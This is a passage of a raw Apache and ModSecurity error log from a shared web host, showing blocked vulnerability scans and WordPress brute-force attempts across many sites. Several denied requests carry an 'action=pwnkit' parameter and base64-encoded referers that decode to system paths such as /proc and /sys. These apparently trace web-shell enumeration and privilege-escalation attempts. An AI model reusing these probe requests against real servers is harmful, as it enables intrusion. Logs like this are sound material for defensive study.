209.87.149.26:52583] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.149.87.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "inspirationalspeakerstm.ca"] [uri "/wp-login.php"] [unique_id "ai3xA8TA7b1mZrmcA-8TngACNzk"], referer: https://inspirationalspeakerstm.ca/wp-login.php [Sat Jun 13 18:08:36.186424 2026] [access_compat:error] [pid 531797:tid 531963] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?action=pwnkit&p=L2xpYjY0L3BrZ2NvbmZpZw== [Sat Jun 13 18:08:36.186753 2026] [access_compat:error] [pid 531797:tid 531963] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?action=pwnkit&p=L2xpYjY0L3BrZ2NvbmZpZw== [Sat Jun 13 18:08:36.197185 2026] [security2:error] [pid 531797:tid 531881] [remote 17.22.245.147:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 147.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xBMTA7b1mZrmcA-8TqQACThE"] [Sat Jun 13 18:08:36.298786 2026] [access_compat:error] [pid 531155:tid 531228] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9pbnB1dC9pbnB1dDQvZGV2aWNl [Sat Jun 13 18:08:36.299079 2026] [access_compat:error] [pid 531155:tid 531228] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9pbnB1dC9pbnB1dDQvZGV2aWNl [Sat Jun 13 18:08:36.517704 2026] [access_compat:error] [pid 531797:tid 531925] [remote 57.141.14.42:32518] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:36.518137 2026] [access_compat:error] [pid 531797:tid 531925] [remote 57.141.14.42:32518] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:36.616331 2026] [access_compat:error] [pid 531797:tid 531990] [remote 57.141.14.30:59328] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:36.616819 2026] [access_compat:error] [pid 531797:tid 531990] [remote 57.141.14.30:59328] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:36.660761 2026] [security2:error] [pid 531797:tid 532045] [client 191.234.188.123:47943] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/albin.php"] [unique_id "ai3xBMTA7b1mZrmcA-8TwAAAAkQ"] [Sat Jun 13 18:08:36.864786 2026] [access_compat:error] [pid 531155:tid 531186] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9pbnB1dDYvaWQ= [Sat Jun 13 18:08:36.865237 2026] [access_compat:error] [pid 531155:tid 531186] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9pbnB1dDYvaWQ= [Sat Jun 13 18:08:36.886990 2026] [access_compat:error] [pid 531155:tid 531195] [remote 57.141.14.74:49288] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:36.887442 2026] [access_compat:error] [pid 531155:tid 531195] [remote 57.141.14.74:49288] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:36.985267 2026] [access_compat:error] [pid 531155:tid 531191] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkwL25ldA== [Sat Jun 13 18:08:36.985526 2026] [access_compat:error] [pid 531155:tid 531191] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkwL25ldA== [Sat Jun 13 18:08:37.000450 2026] [security2:error] [pid 531797:tid 532093] [client 192.185.4.137:12690] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "155"] [id "900406"] [msg "wp-login POST logging"] [data "200"] [hostname "lalenzza.com"] [uri "/wp-login.php"] [unique_id "ai3xBMTA7b1mZrmcA-8TzAACcjI"], referer: https://lalenzza.com/wp-login.php [Sat Jun 13 18:08:37.010318 2026] [security2:error] [pid 531155:tid 531349] [client 172.171.3.232:62608] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/wp-bugs.php"] [unique_id "ai3xBSmiP80klyS0NnrrggAAAUo"] [Sat Jun 13 18:08:37.074811 2026] [security2:error] [pid 531797:tid 531957] [remote 17.22.245.186:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xBcTA7b1mZrmcA-8T0QACYl0"] [Sat Jun 13 18:08:37.310262 2026] [access_compat:error] [pid 531155:tid 531219] [remote 57.141.14.96:43673] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:37.310559 2026] [access_compat:error] [pid 531155:tid 531219] [remote 57.141.14.96:43673] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:37.318649 2026] [access_compat:error] [pid 531797:tid 531920] [remote 57.141.14.82:39432] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:37.318933 2026] [access_compat:error] [pid 531797:tid 531920] [remote 57.141.14.82:39432] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:37.388448 2026] [access_compat:error] [pid 531155:tid 531184] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vbW91c2UwL2RldmljZQ== [Sat Jun 13 18:08:37.388892 2026] [access_compat:error] [pid 531155:tid 531184] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vbW91c2UwL2RldmljZQ== [Sat Jun 13 18:08:37.459576 2026] [access_compat:error] [pid 531797:tid 531879] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L29wdC9hbHQvbGlid2VicA== [Sat Jun 13 18:08:37.459862 2026] [access_compat:error] [pid 531797:tid 531879] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L29wdC9hbHQvbGlid2VicA== [Sat Jun 13 18:08:37.606260 2026] [access_compat:error] [pid 531797:tid 531884] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?action=pwnkit&p=L29wdC9hbHQvbGlid2VicA== [Sat Jun 13 18:08:37.606546 2026] [access_compat:error] [pid 531797:tid 531884] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?action=pwnkit&p=L29wdC9hbHQvbGlid2VicA== [Sat Jun 13 18:08:37.620218 2026] [security2:error] [pid 531797:tid 531927] [remote 17.246.23.71:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xBcTA7b1mZrmcA-8T4gACPj8"] [Sat Jun 13 18:08:37.822596 2026] [access_compat:error] [pid 531797:tid 531934] [remote 57.141.14.83:43236] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:37.822874 2026] [access_compat:error] [pid 531797:tid 531934] [remote 57.141.14.83:43236] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:37.893252 2026] [access_compat:error] [pid 531155:tid 531281] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:08:37.893707 2026] [access_compat:error] [pid 531155:tid 531281] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:08:37.913165 2026] [security2:error] [pid 531797:tid 532061] [client 172.171.3.232:64145] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/zzx.php"] [unique_id "ai3xBcTA7b1mZrmcA-8T7gAAAlM"] [Sat Jun 13 18:08:38.018454 2026] [access_compat:error] [pid 531797:tid 531931] [remote 57.141.14.55:58285] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:38.018913 2026] [access_compat:error] [pid 531797:tid 531931] [remote 57.141.14.55:58285] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:38.239800 2026] [security2:error] [pid 531797:tid 531986] [remote 17.22.237.169:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 169.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xBsTA7b1mZrmcA-8T-AACJ3k"] [Sat Jun 13 18:08:38.292747 2026] [access_compat:error] [pid 531797:tid 531891] [remote 57.141.14.52:21532] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:38.293195 2026] [access_compat:error] [pid 531797:tid 531891] [remote 57.141.14.52:21532] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:38.332137 2026] [security2:error] [pid 531797:tid 532043] [client 191.233.234.186:53488] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "kshar.yourkatana.com"] [uri "/Cap.php"] [unique_id "ai3xBsTA7b1mZrmcA-8T_AAAAkI"] [Sat Jun 13 18:08:38.341353 2026] [security2:error] [pid 531797:tid 532102] [client 172.171.3.232:18421] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.jesusknowsyourname.org"] [uri "/8.php"] [unique_id "ai3xBsTA7b1mZrmcA-8T_QAAAns"] [Sat Jun 13 18:08:38.425332 2026] [security2:error] [pid 531797:tid 531883] [remote 17.246.19.75:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 75.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xBsTA7b1mZrmcA-8UAQACchM"] [Sat Jun 13 18:08:38.460392 2026] [access_compat:error] [pid 531155:tid 531173] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9kZXZpY2UvZXZlbnQwL2RldmljZQ== [Sat Jun 13 18:08:38.460950 2026] [access_compat:error] [pid 531155:tid 531173] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9kZXZpY2UvZXZlbnQwL2RldmljZQ== [Sat Jun 13 18:08:38.478825 2026] [access_compat:error] [pid 531797:tid 531973] [remote 57.141.14.63:24768] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:38.479241 2026] [access_compat:error] [pid 531797:tid 531973] [remote 57.141.14.63:24768] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:38.483638 2026] [security2:error] [pid 531155:tid 531241] [remote 145.239.79.139:59546] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 139.79.239.145.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "gkmasterson.com"] [uri "/wp-login.php"] [unique_id "ai3xBimiP80klyS0NnrrqgABP1U"] [Sat Jun 13 18:08:38.519568 2026] [access_compat:error] [pid 531155:tid 531220] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkwL25ldA== [Sat Jun 13 18:08:38.520033 2026] [access_compat:error] [pid 531155:tid 531220] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkwL25ldA== [Sat Jun 13 18:08:38.800521 2026] [security2:error] [pid 531155:tid 531238] [remote 145.239.79.139:59546] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 139.79.239.145.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "gkmasterson.com"] [uri "/wp-login.php"] [unique_id "ai3xBimiP80klyS0NnrruwABQFI"], referer: https://gkmasterson.com/wp-login.php [Sat Jun 13 18:08:38.826509 2026] [access_compat:error] [pid 531797:tid 531978] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9saWI2NC9obWFjY2FsYw== [Sat Jun 13 18:08:38.826796 2026] [access_compat:error] [pid 531797:tid 531978] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9saWI2NC9obWFjY2FsYw== [Sat Jun 13 18:08:38.940585 2026] [access_compat:error] [pid 531797:tid 531880] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?action=pwnkit&p=Ly9saWI2NC9obWFjY2FsYw== [Sat Jun 13 18:08:38.940864 2026] [access_compat:error] [pid 531797:tid 531880] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?action=pwnkit&p=Ly9saWI2NC9obWFjY2FsYw== [Sat Jun 13 18:08:38.953969 2026] [access_compat:error] [pid 531155:tid 531161] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZS9pbnB1dC9pbnB1dDYvY2FwYWJpbGl0aWVz [Sat Jun 13 18:08:38.954415 2026] [access_compat:error] [pid 531155:tid 531161] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 